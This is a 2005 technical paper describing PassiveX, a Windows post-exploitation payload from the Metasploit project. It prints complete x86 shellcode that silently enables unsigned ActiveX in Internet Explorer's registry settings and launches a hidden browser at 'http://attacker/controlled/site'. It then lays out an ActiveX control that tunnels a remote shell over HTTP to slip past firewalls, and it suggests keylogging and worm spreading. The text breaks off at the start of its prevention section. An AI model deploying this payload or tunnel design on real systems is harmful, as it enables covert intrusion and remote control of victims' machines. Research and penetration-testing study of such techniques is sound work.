Post-Exploitation on Windows using ActiveX Controls skape mmiller@hick.org Last modified: 03/18/2005 1) Foreword Abstract: When exploiting software vulnerabilities it is sometimes impossible to build direct communication channels between a target machine and an attacker's machine due to restrictive outbound filters that may be in place on the target machine's network. Bypassing these filters involves creating a post-exploitation payload that is capable of masquerading as normal user traffic from within the context of a trusted process. One method of accomplishing this is to create a payload that enables ActiveX controls by modifying Internet Explorer's zone restrictions. With ActiveX controls enabled, the payload can then launch a hidden instance of Internet Explorer that is pointed at a URL with an embedded ActiveX control. The end result is the ability for an attacker to run custom code in the form of a DLL on a target machine by using a trusted process that uses one or more trusted communication protocols, such as HTTP or DNS. Thanks: The author would like to thank H D Moore, spoonm, vlad902, thief, warlord, optyx, johnycsh, trew, jhind, and all the other people who continue to research new and interesting things for their own satisfaction and enjoyment. The author would also like to thank the Metasploit Framework mailing list for the discussion on HTTP tunneling which served as the impetus for implementing and integrating PassiveX. The source code to the ActiveX Injection Payload and ActiveX control described in this document can be found as an update to the Metasploit Framework version 2.3 which can be downloaded from http://www.metasploit.com. PassiveX was tested with ZoneAlarm version 5.5.062.011. 2) Introduction The emphasis in exploit development tends to lean more towards the techniques used to successfully execute code on a target machine rather than the code, or payload, that will actually be executed once an exploit has taken advantage of a vulnerability. While such an emphasis is an obvious and warranted pre-requisite, it is also just as important to identify and refine the techniques that can be used once it is possible to execute arbitrary code on a target machine. In general, most published exploits include a finite set of payloads that are themselves only capable of performing a small set of actions, such as connecting back to the attacker and providing them with a command interpreter or allowing the attacker to connect to the target machine to gain access to a command interpreter There are other classes of post-exploitation payloads but these two are the most prominent. findsock style payloads are excluded from this discussion due to the fact that they are vulnerability dependent and as such not as universal as the two commonly used payloads.. Payloads such as these are indeed quite useful but are prone to failure under conditions that cannot always be predicted by an attacker. For instance, an attacker could be exploiting a software vulnerability in an HTTP server that only permits connections to port 80. In this case, if an attacker were to use a payload that binds to a port on the target machine, the attacker would soon find that it would be impossible to connect to the bound port, regardless of whether or not the exploit actually succeeded In some cases it is possible to rebind to the port of the service being exploited. This fact is outside of the scope of this document.. The same case applies to payloads that establish a connection to the attacker on an arbitrary port. If the service being attacked is on a machine that has restrictive outbound filters or has a personal firewall installed that restricts specific types of internet access for certain applications, the attacker may find it impossible to use either of the two common payloads. With that said, the majority of computers connected to the internet do not have highly restrictive outbound filters. The reason this is the case is because many home users simply plug their computer directly into the internet via their cable modem, DSL router, or phone line instead of a network firewall device. Furthermore, the level of understanding required to competently manage outbound filters is generally not something that is a strong desire or possibility for the average computer user. For the sake of discussion, however, these users will be disregarded due to the fact that currently employed payloads are sufficient to establish a communication channel between the attacker and a target machine. Instead, the focus will be put upon those machines that make use of outbound filters that are capable of preventing the two aforementioned payloads from being used. There are three types of outbound filters that can be differentiated by the OSI layer at which they filter and by the physical location at which they reside. The first type of outbound filter is the network-based filter which operates at the network and transport layer by filtering connections based on information that is required to communicate with a host, such as the destination IP address or port of a packet. The second type of outbound filter is the application-based filter which operates at the application layer by filtering network traffic to certain destinations based on the application that is performing the network action An example of this comes in the form of ZoneAlarm's outbound filter that prompts the user when an application attempts to make a connection to determine whether or not the connection should be allowed.. The third type of outbound filter operates transparently at various layers of the OSI model as a type of protocol form validation, such as a transparent HTTP proxy. These three filters can be combined to create a robust and dynamic method of filtering outbound connections that, while not perfect, does indeed lend itself well to helping ensure the integrity of a network. The reason these three outbound filters are not perfect is because of the fact that they still allow outbound communication. Though this may seem like a paradox, it is actually a real problem. Take for instance a scenario where a corporation's workstation is being exploited through a client-side chat client vulnerability. In this scenario, the corporation has configured their network firewalls to allow communication to internet addresses on port 80 only. All other outbound ports are filtered and cannot be communicated with. Given these restrictions, an attacker might simply instruct his or her payload to connect back to the attacker on port 80, thus bypassing the other outbound restrictions altogether. While this would indeed work, there are steps that the corporation could take to help prevent this approach. For instance, if the same corporation were to force all HTTP traffic through a transparent or true HTTP proxy, the attacker would be unable to simply pipe a command interpreter through a connection on port 80 since the data would not be well-formed HTTP traffic. This is where things begin to get interesting and the inherent flaw of generic outbound filters begins to come to light. Under the aforementioned condition, a corporation has their network configured to permit outbound communication on port 80 only and furthermore requires all port 80 communication to pass through a transparent HTTP proxy. As such, it is a requirement that all traffic passing through port 80 to internet hosts be well-formed HTTP requests and responses, else the transparent proxy will not permit it to pass. The obvious thing for an attacker to do, then, is to tunnel or encode their communication in valid HTTP requests and responses, thus bypassing all of the restrictions that the corporation has put in place. Hope is not yet lost for the corporation, however, for they could deploy a personal firewall, such as ZoneAlarm, that is capable of doing per-application outbound filters. This would allow the corporation to make it so only a browser, such as Internet Explorer or Mozilla, is capable of connecting to internet hosts on port 80. All other applications, such as the chat client that is being exploited in this scenario, would be unable to connect to internet hosts on port 80 in the first place. It may seem like this would be enough to stop an attacker from being able to build a communication channel between themselves and the target machine, but the fact is that it is not, and thus the inherent flaw in generic outbound filters is realized: If a user is capable of communicating with hosts on the internet, so too is an attacker capable of doing so from the user's computer. In this case, an attacker could simply inject code into a trusted browser process that then constructs an HTTP tunnel between the target machine and the attacker, thus bypassing both the application layer,network layer, and transparent outbound filters that the corporation has put into place. The example of the HTTP tunnel is just one of many protocols that can be used or abused to tunnel arbitrary data through restrictive outbound filters. Other protocols that can, and have, been used in the past for arbitrary data tunneling are DNS, POP3, and SMTP. These protocols are also likely, though some of them less than others, to be ones that a corporation or a user are likely to permit both at the network layer and at the application layer. For the purpose of this paper, only the implementation of the HTTP tunnel will be discussed for it is the most likely of all others to be capable of passing transparently through outbound filters The second most likely, in the author's opinion, is DNS.. The following chapters will discuss the implementation of a payload that is capable of bypassing the scenario discussed in this introduction on the Windows platform. From there, a number of potential uses, both legitimate and otherwise, will be discussed to give a sense of severity for the problem at hand. Finally, some suggestions will be made on how payloads of this sort might be prevented from being leveraged by an attacker in the future. 3) Implementation: PassiveX Implementing a payload that is capable of bypassing restrictive outbound filters, such as those outlined in the introduction, requires that the traffic produced by the payload be, for all intents and purposes, indistinguishable from normal user traffic. The protocol that should be used to encapsulate the attacker's arbitrary data, such as the input and output from the command interpreter, should also be one that is likely to be permitted by the various types of outbound filters, whether they be network or application based. One of the protocols capable of fulfilling both of these requirements is HTTP. By making use of HTTP requests and responses, it is possible for an attacker to create a bidirectional tunnel between the target machine and the attacker's machine that can be used to pass arbitrary data. The way in which the tunnel can be constructed using HTTP is to create two logical channels, similar to that of a bidirectional pipe. The first channel, Tx, would be used to transmit data from the target machine to the attacker's machine by making use of an HTTP POST request. The content of the POST would be the data that should be handed to the attacker. The second channel, Rx, would be used to transmit data from the attacker's machine to the target machine. The problem is, however, that the data cannot be directly transmitted from the attacker's machine to the target machine while still staying within the parameters of well-formed HTTP traffic It is possible to make use of technology like chunked encoding, however, such technology is seen as easier to flag and detect as malicious traffic from the perspective of an outbound filter and cannot always be relied upon to work when passing through HTTP proxies.. One way of getting around this fact would be to use a polling model whereby the target machine sends polling HTTP GET or POST requests to the attacker's machine to see if there is any data available that should be handed to the target machine's half of the tunnel. Once there is data available it can be included in the content of the HTTP response to the target machine's HTTP request. This approach is one that is commonly used and employed as a tunneling mechanism. The first step in the building of an HTTP tunnel between the target machine and the attacker's machine is to implement the payload that will be executed after a given exploit succeeds. There are a number of ways in which such a payload could be written with the most obvious being a payload that directly builds and maintains the bidirectional HTTP tunnel between the attacker and the target machine. While this approach may sound good in principal, it is not entirely practical. The reason for this is that the payload must be written in assembly or in a language that is capable of producing position independent code. This fact alone would make the implementation of a payload that accomplishes HTTP tunneling tedious but is in itself not necessarily enough to make it impractical. What does make it impractical, however, is the fact that implementing such a payload in a portable and position independent fashion would lead to a very large payload. The size of a payload tends to be rather important as it directly determines whether or not it can be employed under certain conditions, such as where a vulnerability only has a limited amount of room in which to store the payload that will be executed. In scenarios such as these it is preferable to have a payload that is as small as possible and yet still capable of performing the task at hand. Even if it were possible to implement a small payload that were capable of managing the HTTP tunneling, it alone would not be enough to satisfy the requirements for the payload described in the introduction. The reason it is not enough is because such a payload would not necessarily be capable of bypassing application-based outbound filters due to the fact that the application being exploited, such as a chat client, may not itself be directly capable of communicating with hosts on the internet over port 80. Instead, it becomes necessary to run the code that performs the actual HTTP tunneling in the context of a process that is most likely trusted by the target machine, such as Internet Explorer. With this in mind it seems clear that a technique other than implementing the entire HTTP tunneling code in position independent assembly is necessary, both from a practical and functional standpoint. An alternate technique that can be used is to implement a payload that is itself not directly responsible for managing or initializing the HTTP tunnel, but rather facilitates the execution of the code that will be responsible for doing so. It's important to note, however, that such a payload must do so in a fashion that does not require network access due to the fact that ignoring such a requirement would defeat the entire purpose of the HTTP tunneling payload that it would be trying to load. With this in mind, it becomes necessary to look towards other approaches that are capable of facilitating the execution of code that will build an HTTP tunnel between the target machine and the attacker's machine and, furthermore, will do so using a medium that is compatible with the various types of outbound filters. As luck would have it, a solution to this problem can be found in Internet Explorer's ability to download and execute plugins. These plugins, which are more commonly known as ActiveX controls, are a means by which programmers can extend or enhance features in Internet Explorer in a generic fashion Which, as fate would have it, just so happens to align well with this paper's intention of creating an HTTP tunnel in the context of a trusted process.. Though ActiveX controls do have merit, many computer users tend to be familiar with them not for the benefits they bring, but rather for the spyware and other malicious content that they seem to provide or be associated with. Due to this fact, it has become common practice for computer's to be configured with ActiveX support either completely disabled or conditionally permitted based on Internet Explorer's built-in zone restrictions. Zone restrictions are a way in which Internet Explorer allows a user to control the level of trust that is given to various sites. For instance, sites in the Trusted Sites zone are considered to have the highest level of trust and are thus capable of executing ActiveX controls and other privileged content without necessarily requiring input from the user. On the other hand, the Internet zone represents the set of sites that exist on the internet and are not expressly trusted by the user. The Internet zone typically defaults to prohibiting the downloading and execution of unsigned ActiveX controls. If an ActiveX control is signed, the user will be prompted to determine whether or not they wish to allow the signer of the ActiveX control to execute code on the user's machine. With this knowledge of Internet Explorer's zone restrictions and its built-in ability to download and execute ActiveX controls, it is possible to construct a payload that can facilitate the establishing of an HTTP tunnel between the target machine and the attacker, regardless of whether or not outbound filters exist. One way that this can be accomplished is by implementing a payload that first modifies the zone restrictions for the Internet zone to allow the downloading and execution of all ActiveX controls, thus allowing it to work in environments that have explicitly disabled ActiveX controls. The payload can then execute a hidden instance of Internet Explorer and direct it at a URL on the internet that is controlled by the attacker. The content of the target URL, in this scenario, would contain an embedded ActiveX control that Internet Explorer would download and run without question. As such, the code that would be responsible for building the HTTP tunnel could be implemented in the context of the ActiveX control that is downloaded, thus allowing the attacker to write the tunneling code in his or her language of choice due to the fact that ActiveX controls are language independent, so long as they conform to the necessary COM interfaces. Before describing the implementation of the payload and the respective ActiveX control, it is first important to understand some of the negative aspects of using such an approach. One of the most obvious cons is that such a payload is capable of, in the worst case scenario, leaving a user's computer completely open to future infection by way of untrusted ActiveX controls if the zone restrictions on the Internet zone are not restored. This can be solved by making the payload itself more robust in the way it handles the restoration of the zone restrictions, but it comes at the cost of size which isn't always something that can be conceded. Another negative aspect of this approach is that it will not function when used against a user that does not have administrative privileges on the target machine. The reason for this is that Internet Explorer is hard-coded to prevent the downloading and execution of ActiveX controls that are not already registered and installed on the target machine. Under scenarios where it is known that a limited user account is being exploited, it may be possible to modify the payload to inject a secondary payload into the context of an Internet Explorer process that then downloads and registers the control manually The control would have to be able to be registered under the user-specific classes key instead of the global classes key in order to avoid permission problems.. Regardless of the payloads deficiencies, it should nonetheless be consider a viable approach to the problem at hand. The payload itself has two distinct stages. The first stage is the payload that the exploit will send across that will be responsible for making modifications Internet Explorer's zone restrictions and executing a hidden Internet Explorer to a URL that is controlled by the attacker. The second stage starts once the ActiveX control that was embedded in the attacker controlled URL is loaded into the hidden Internet Explorer. Once loaded, the ActiveX control can simply build an HTTP tunnel between the two machines due to the fact that it's running in the context of a process that should be trusted. This document's implementation of the payload will henceforth be referred to as PassiveX Though PassiveX has been used for other projects, it seemed only fitting to use for this one as well.. 3.1) The ActiveX Injection Payload This section will describe the implementation of the payload that an exploit will send across as the arbitrary code that is to be executed once the exploit succeeds. This code will be executed in the context of the exploited process and is what will be used to facilitate the loading of an ActiveX control inside of an instance of Internet Explorer. There are, as with all things, a number of ways to implement this payload. The following steps describe the actions that such a payload would need to perform in order to accomplish this task. 1. Find KERNEL32.DLL and resolve symbols The first step, as is true with most Windows payloads, is to locate the base address of KERNEL32.DLL. Determining the base address of KERNEL32.DLL is necessary in order to load other modules, such as ADVAPI32.DLL. The way that this is accomplished is to resolve the address of kernel32!LoadLibraryA. The technique used to locate the base of KERNEL32.DLL can be any one of the typically employed approaches, such as PEB or TOPSTACK. For this payload, it is also necessary to resolve the address of kernel32!CreateProcessA so that the hidden Internet Explorer can be executed. 2. Load ADVAPI32.DLL and resolve symbols Once kernel32!LoadLibraryA has been resolved, the next step is to load ADVAPI32.DLL since it may or may not already be loaded. ADVAPI32.DLL provides the standard interface to the registry that most applications, and the payload itself, need to make use of. There are two specific functions that are needed for the payload: advapi32!RegCreateKeyA and advapi32!RegSetValueExA. 3. Open the Internet zone's registry key After resolving all of the necessary symbols, the next step is to open the Internet zone's registry key for writing so that the individual settings for ActiveX controls can be set to the enabled status. This is accomplished by calling advapi32!RegCreateKeyA in the following fashion: HKEY Key; RegCreateKeyA( HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion" "\Internet Settings\Zones\3", &Key); While testing this portion of the payload it was noted that Windows 2000 with Internet Explorer 5.0 does not have the necessary registry keys created under the HKEY_USERS\.DEFAULT registry key. Even if the necessary keys are created, the first time Internet Explorer is executed from within the system service leads to the internet connection wizard being displayed. This basically makes it such that the payload is only capable of working on machines that have Internet Explorer 6.0 installed (such as Windows XP and 2003 Server). 4. Modify IE's Internet zone restrictions Once the key has been successfully opened the zone restrictions for prohibiting ActiveX controls from being used can be changed. There are four settings that need to be toggled to ensure that ActiveX controls will be usable: Setting Value Name | Description -------------------------------- 1001 | Download signed ActiveX controls 1004 | Download unsigned ActiveX controls 1200 | Run ActiveX controls and plugins 1201 | Initialize and script ActiveX controls not marked as safe In order to make it so ActiveX controls can be used, each of the above described settings must be changed to Enabled. This is done by setting each of the values to 0 by calling advapi32!RegSetValueExA on the opened key for each of the individual registry values. After these values are set to enabled, Internet Explorer will, by default, download and execute ActiveX controls regardless of whether or not they are signed without user interaction. The actual process of setting of a value is demonstrated below: DWORD Enabled = 0; RegSetValueEx( Key, "1001", 0, REG_DWORD, (LPBYTE)&Enabled, sizeof(Enabled)); 5. Determine the path to Internet Explorer With the zone restrictions modified, the next step is to determine the full path to IEXPLORE.EXE. The reason this is necessary is because IEXPLORE.EXE is not in the path by default and thus cannot be executed by name. While shell32!ShellExecuteA may appear like an option, it is in fact not considering the fact that the target machine may have Mozilla registered as the default web-browser. It should also not be assumed that Internet Explorer will reside on a static drive, such as the C: drive. Even though it may be common, there are sure to be cases where it will not be true. One way of working around this issue is to use a very small portion of code that determines the absolute path to internet explorer in only two assembly instructions. The code itself makes an assumption that Internet Explorer's installation will be on the same drive as the Windows system directory and that it will also be installed under its standard install directory. Barring this, however, the two instructions should result in a portable implementation between various versions of Windows NT+: url: db "C:\progra~1\intern~1\iexplore -new http://site", 0x0 ... fixup_ie_path: mov cl, byte [0x7ffe0030] mov byte [esi], cl In the above code snippet, esi points to url. The static address being referenced is actually a portion of SharedUserData that just so happens to point to the unicode path of the system directory on the machine. By making the assumption that the drive letter that the system directory is found on will be the same as the one that Internet Explorer is found on, it is possible to copy the first byte from the system directory path to the first byte of the path to Internet Explorer on disk, thus ensuring that the drive letters are the same This code has potential issues with certain locales depending on whether or not assumptions made about code paths or ASCII drive letters are safe.. 6. Execute a hidden Internet Explorer with a specific target URL Once the full path to Internet Explorer has been located, all that remains is to execute a hidden Internet Explorer with it pointed at an attacker controlled HTTP server. This is accomplished by calling CreateProcessA with the command line argument properly set to the full path to Internet Explorer. Furthermore, the wShowWindow attribute should be set to SW_HIDE to ensure that the Internet Explorer instance is hidden from view. This is accomplished by calling CreateProcessA in the following fashion: PROCESS_INFORMATION pi; STARTUPINFO si; ZeroMemory( &si, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; CreateProcessA( NULL, url, // "\path\to\iexplore.exe -new " NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); One important thing to note about this phase is that in order to get it to work properly with system services that are not able to directly interact with the desktop, the si.lpDesktop attribute must be set to something like WinSta0\Default. An implementation of this approach can be found below. It is optimized for size (roughly 400 bytes, adjusted for the variable URL length), robustness, and portability. A large part of the payload's size comes from the static strings that it has to reference for opening the registry key, setting the values, and executing Internet Explorer. The size of the payload is one of its major benefits to this approach as it ends up being much smaller than other techniques that attempt to accomplish a similar goal. Targets: NT/2000/XP/2003 Size: ~400 bytes + URL size passivex: cld call get_find_function strings: db "Software\Microsoft\Windows\" db "CurrentVersion\Internet Settings\Zones\3", 0x0 reg_values: db "1004120012011001" url: db "C:\progra~1\intern~1\iexplore -new" db " http://attacker/controlled/site", 0x0 get_find_function: call startup find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edi, [ebp + eax + 0x78] add edi, ebp mov ecx, [edi + 0x18] mov ebx, [edi + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp compute_hash: xor eax, eax cdq compute_hash_again: lodsb test al, al jz compute_hash_finished ror edx, 0xd add edx, eax jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edx, [esp + 0x28] jnz find_function_loop mov ebx, [edi + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edi + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp mov [esp + 0x1c], eax find_function_finished: popad retn 8 startup: pop edi pop ebx find_kernel32: xor edx, edx mov eax, [fs:edx+0x30] test eax, eax js find_kernel32_9x find_kernel32_nt: mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x8] jmp short find_kernel32_finished find_kernel32_9x: mov eax, [eax + 0x34] add eax, byte 0x7c mov eax, [eax + 0x3c] find_kernel32_finished: mov ebp, esp find_kernel32_symbols: push 0x73e2d87e push eax push 0x16b3fe72 push eax push 0xec0e4e8e push eax call edi xchg eax, esi call edi mov [ebp], eax call edi mov [ebp + 0x4], eax load_advapi32: push edx push 0x32336970 push 0x61766461 push esp call esi resolve_advapi32_symbols: push 0x02922ba9 push eax push 0x2d1c9add push eax call edi mov [ebp + 0x8], eax call edi xchg eax, edi xchg esi, ebx open_key: push esp push esi push 0x80000001 call edi pop ebx add esi, byte (reg_values - strings) push eax mov edi, esp set_values: cmp byte [esi], 'C' jz initialize_structs push eax lodsd push eax mov eax, esp push byte 0x4 push edi push byte 0x4 push byte 0x0 push eax push ebx call [ebp + 0x8] jmp set_values fixup_drive_letter: mov cl, byte [0x7ffe0030] mov byte [esi], cl initialize_structs: push byte 0x54 pop ecx sub esp, ecx mov edi, esp push edi rep stosb pop edi mov byte [edi], 0x44 inc byte [edi + 0x2c] inc byte [edi + 0x2d] execute_process: lea ebx, [edi + 0x44] push ebx push edi push eax push eax push byte 0x10 push eax push eax push eax push esi push eax call [ebp] exit_process: call [ebp + 0x4] 3.2) HTTP Tunneling ActiveX Control The second stage is arbitrary in that an attacker could implement an ActiveX control to do virtually anything. For instance, an ActiveX control could cause a chicken wearing pants to slide around the screen every few minutes. Though this would be patently useless, it's nonetheless an example of the types of things that can be accomplished by an ActiveX control. For the purposes of this document, however, the ActiveX control will construct a communication channel, over HTTP, between a target machine and the attacker's machine such that arbitrary data can pass between the two entities in a way that is compatible with restrictive outbound filters. Like the payload described in , there are a number of ways to implement an ActiveX control capable of accomplishing this task. Going forward, this section requires basic knowledge of COM (Component Object Model). The approach taken in this document was to create an ActiveX control using ATL, short for Active Template Library) The reason that ATL was picked over MFC was due to the fact that MFC is less portable without CAB'ing dependencies (as when dynamically linked against the MFC DLLs), or much larger (as when statically linked against the MFC libs).. The purpose of the ActiveX control, as described in this chapter, is to build an HTTP tunnel between the attacker and the target machine. The ActiveX control should also be able to, either directly or indirectly, make use of the HTTP tunnel, such as by piping the input and output of a command interpreter through the HTTP tunnel. The ActiveX control discussed in this document makes use of the HTTP tunnel by creating what has been dubbed a local TCP abstraction. This is basically a fancy term for using a truly streaming connection, such as a TCP connection, as an abstraction to the bidirectional HTTP tunnel. The reason this is advantageous is because it allows code to run without knowing that it is actually passing through an HTTP tunnel, hence the abstraction. This is especially important when it comes to re-using code that is natively capable of communicating over a streaming connection. One way in which this abstraction layer can be created is by having the ActiveX control create a TCP listener on a random local port. After that, the ActiveX control can establish a connection to the listener. This creates the client half of the streaming connection which will be used to transmit data to and from the remote machine in a truly streaming fashion. After the ActiveX control establishes a connection to the local TCP listener, it must also accept the connection on behalf of the listener. The server half of the connection is what is used both to encapsulate data coming from the target machine to the attacker's machine and as the truly streaming destination for data being sent from the attacker to the target machine. Data that is written to the server half of the connection will, in turn, be read from the client half of the connection by whatever it is that's making use of the socket, such as a command interpreter. This method of TCP abstraction even works under the radar of application-based filters like Zone Alarm because the listener is bound to a local interface instead of an actual interface This was tested with Zone Alarm 5.5.062.011.. The ActiveX control itself is composed of a number of different files whose purposes are described below: File | Description --------------------------------------------- CPassiveX.cpp | Coclass implementation source CPassiveX.h | Coclass implementation header HttpTunnel.h | HTTP tunnel management class header HttpTunnel.cpp | HTTP tunnel management class source PassiveX.bin | Interface registration data PassiveX.idl | IPassiveX interface, coclass, and typelib definition PassiveX.rc | Resource script containing version information, etc resource.h | Resource identifier definitions PassiveX.cpp | DLL exports and entry point implementations The first place to start when implementing an ActiveX control is with the control's interface definition which is defined in PassiveX.idl. In this case, the control has its own interface defined so that it can export a few getters and setters that will allow the browser to set properties on an instance of the ActiveX control. The ActiveX control requires two primary parameters, namely the attacker's remote host and port, in order to construct the HTTP tunnel. Furthermore, it may also be necessary to instruct the ActiveX control that it should download more custom code to execute once the control has been initialized, such as a second stage payload that would make use of the established HTTP tunnel. Parameters are typically passed using the HTML PARAM tag in the context of an OBJECT tag. The three parameters that the ActiveX control in this document supports are: Property | Description ---------------------------------- HttpHost | The DNS or IP address of the attacker controlled machine HttpPort | The port, most likely 80, that the attacker is listening on DownloadSecondStage | A boolean value which indicates whether or not a second stage should be downloaded The getters and setters for these three properties are provided through the control's IPassiveX interface which is defined in the PassiveX.idl file. The coclass, defined as CPassiveX in CPassiveX.h, uses the IPassiveX interface as its default interface. Aside from the default interface, the ActiveX control must also inherit from and implement a number of other interfaces in order to make it possible for the ActiveX control to be loaded in Internet Explorer Reference code can be found in the Metaploit Framework. Once the ActiveX control's interface and coclass have been sufficiently implemented to allow an instance to load in the context of Internet Explorer, the next step becomes the constructing of the HTTP tunnel. One of the easiest ways to implement this portion of the ActiveX control is to make use of Microsoft's Windows Internet API, or WinINet for short. The purpose of WinINet is to provide applications with an abstract interface to protocols such as Gopher, FTP, and HTTP. One of the major benefits to using this API is that it will make use of the same settings that Internet Explorer uses as far as proxying and zone restrictions are concerned. This means that if a user normally has to send their HTTP traffic through a proxy and has configured Internet Explorer to do so, any application that uses WinINet will be able to share the same settings The API also allows the programmer to explicitly ignore the pre-cached settings if so desired.. The actual API routines that are necessary to build an HTTP tunnel using WinINet are described below: WinINet Function | Purpose ----------------------------- InternetOpen | Initializes the use of the other WinINet functions InternetConnect | Opens a connection to a host for a given service InternetSetOption | Allows for setting options on the connection, such as request timeout HttpOpenRequest | Opens a request handle that is associated with a specific request HttpSendRequest | Transmits an HTTP request to the target host InternetReadFile | Reads response data after a request has been sent HttpQueryInfo | Allows for querying information about an HTTP response, such as status code InternetCloseHandle | Closes a WinINet handles The above described functions can be used to create a logical HTTP tunnel that conforms to the HTTP protocol, appears like a normal web-browser, and uses any pre-configured internet settings. The basic steps necessary to make this happen are described below: 1. Initialize WinINet with InternetOpen In order to make it possible to use the facilities provided by the Windows Internet API, it is first necessary to call wininet!InternetOpenA. The handle returned from a successful call to wininet!InternetOpenA is required to be passed as context to a number of other routines. 2. Create the send and receive threads Since there are two distinct channels by which data is transmitted and received through the HTTP tunnel, it is necessary to create two threads for handling both the send and the receive data. The reason these two channels cannot be processed in the same thread efficiently is because one half, the local TCP abstraction half, uses Windows Sockets, whereas the second half, where data is read in from the contents of HTTP responses between the target machine and the attacker machine, uses the Windows Internet API. The handles used by the two APIs cannot be waited on by a common routine. This fact makes it more efficient to give each portion of the communication its own thread so that they can use the native API routines to poll for new data. 3. Poll the server side of the TCP abstraction in the send thread In order to check for data being sent from the target machine to the attacker's machine, it is necessary to poll the server side of the TCP abstraction. This can be accomplished by calling ws2_32!select on an fdset that contains the server half of the connection that was established to the local TCP listener. When ws2_32!select returns one it indicates that there is data of some form available for processing, whether it be actual data to be read from the socket or an indication that the socket has closed. When this occurs a call to ws2_32!recv can be made to read data from the socket. If zero is returned it indicates that the local connection has been terminated. Otherwise, if a value larger than zero is returned, it indicates the number of bytes actually read from the connection. The buffer that the data was read into can then be used as the body content of an HTTP POST request that is transmitted to the attacker. This cycle repeats itself until the local connection eventually closes, an error is encountered, or the stateless tunnel between the two endpoints is terminated. 4. Poll for data from the remote side of the of the HTTP tunnel in the receive thread Polling for data that is being sent from the attacker to the target machine is not as simple the other direction simply due to the fact that the polling operation must be simulated using an HTTP GET or POST request instead of using a native routine to check for new data. This approach is necessary in order to remain compliant with HTTP's request/response format. The actual implementation is as simple as an infinite loop that continually transmits an HTTP request to the attacker requesting data that should be written to the server side of the TCP abstraction. If data is present, the attacker will send an HTTP response that contains the data to be written in the body of the response. If no data is present, the attacker can either wait for data to become available or respond with no content in the response. In either case, the polling thread should repeat itself at certain intervals (or immediately if data was just indicated) for the duration of time that the stateless HTTP tunnel between the two endpoints stays up. Beyond these simple tasks, the ActiveX control can also download and execute a second stage payload in the context of its own thread. This second stage payload could be passed the file descriptor of the client half of the TCP abstraction which would allow it to communicate with the attacker over a truly streaming socket that just so happens to be getting encapsulated and decapsulated in HTTP requests and responses. There are also a number of other things that could be developed into the ActiveX control to make it a more robust platform from which further attacks could be mounted. These extensions will be discussed more in the next chapter. 4) Potential Uses and Enhancements The PassiveX payload has the ability to be used for a wide array of things regardless of whether or not an HTTP tunnel is even used. The ability for a payload to inject an untrusted ActiveX control into an Internet Explorer instance without any user interaction at all is enough to give an attacker full control over the machine without the attacker so much as typing a single command. The ways in which such a thing could be accomplished could be through the development of a robust and feature-filled ActiveX control that may or may not make use of an HTTP tunnel between the target host and the attacker. This abstract concept will be discussed alongside other more concrete uses for this technique in the sections of this chapter. 4.1) Automation with Scripting An abstract application of this payload would be to create an ActiveX control that provides a scriptable interface to the machine that it is loaded on. This would let an attacker interface with the generic ActiveX control via JavaScript or vbscript in a manner that would allow for easy automation and control of the machine that it's loaded on. For instance, the ActiveX control could provide, via its COM interface or interfaces, a scripting-accessible API to things like the filesystem, networking, the registry, and other core components of the operating system. The primary benefit to implementing an ActiveX control that provides access to components such is these is that automated code can be written in a browser supported scripting language rather than having to modify the ActiveX control itself each time a new feature is to be added. The use of a scripting interface can be seen as a more flexible method of interacting with a machine, though it does come at the cost of requiring the ActiveX control to expose enough of the operating system's feature set to make it useful. 4.2) Passive Information Gathering In some situations the ActiveX control may not have enough information to create an HTTP tunnel between the target machine and the attacker. An example of information that the control would need but may not have is proxy authorization credentials. In cases such as these it would be possible for the ActiveX control to be enhanced to support keystroke logging and other forms of information gathering that would allow it to collect enough data to be able to build some sort of data channel. The ActiveX control could also be extended to make the data channel more covert by having it vary both in protocol, such as by switching to and from DNS, and in delay, such as by causing HTTP posts to be spread out in time to make them appear less suspicious. 4.3) Penetration Testing Perhaps one of the must useful cases for the PassiveX payload is in the field of penetration testing where it's not always possible to get into a network by the most direct means. It is common practice for corporations to make use of some sort of outbound filter, whether it be network-based, application-based, intermediate, or a combination of all three. Under conditions like these, a penetration tester may find themselves capable of exploiting a vulnerability but without an ability to really take control of the machine being exploited. In cases such as these it would be useful to have a payload that is capable of constructing a tunnel over an arbitrary protocol, such as HTTP, that is able to bypass outbound filters. This approach is also useful to a penetration tester in that it may also be possible for them to make meaningful use of client-side vulnerabilities that would otherwise be incommunicable due to restrictive outbound filters. A particularly interesting illustration of such an approach would be to demonstrate how dangerous client-side browser vulnerabilities can be by showing that even though a company employs outbound filters on the content that leaves the network, it is still possible for an attacker to build a streaming connection to machines on the internal network once a browser vulnerability has been taken advantage of. Though such a scenario will most likely not be the norm during penetration testing, it is nonetheless a useful tool to have in the event that such a case presents itself. 4.4) Worm Propagation There are uses for the PassiveX payload on the malicious side of the house as well. Due to the payload's ability to support automation through scripting and its inherent ability to allow for the construction of tunnels over arbitrary protocols, it seems obvious that such a tool could be useful in the realm of worm propagation. Take for instance a worm that spreads through server-side daemon vulnerabilities and also by embedding client-side browser vulnerabilities into the web sites of web servers that become compromised. The payload for the client-side browser vulnerabilities would be the PassiveX payload which would then download an inject an ActiveX control from a de-centralized location that would be responsible for the continued propagation of the worm through the same vectors. The payload's transmission over trusted protocols would make it just that much harder to stop assuming some level of effort were put forth to make the communication indistinguishable from normal browser traffic. 5) Methods of Prevention Now that a payload has been defined that is capable of bypassing standard outbound filters, the next step is to determine potential solutions in order to assist in the prevention of such techniques. Though efforts can be made elsewhere to prevent exploitation in the first place, it is still prudent to attempt to analyze approaches that could be taken to prevent a payload like the one described in this document from being used in a real world scenario. The primary concern when implementing a prevention mechanism, however, is that it must not also prevent normal user traffic from working as expected and should also be robust enough to catch future mutations of the same technique. A failure to succeed on either of these points is an indication that the prevention method is not entirely viable or sound. With that in mind, two potential methods of prevention will be described in this chapter, though neither of them should be seen as complete method of prevention. The key point again is that as long as it's possible for a user to communicate with the internet, so too will it be possible for an attacker to simulate traffic that looks as if it's coming from a user. 5.1) Heuristic based filtering One method of 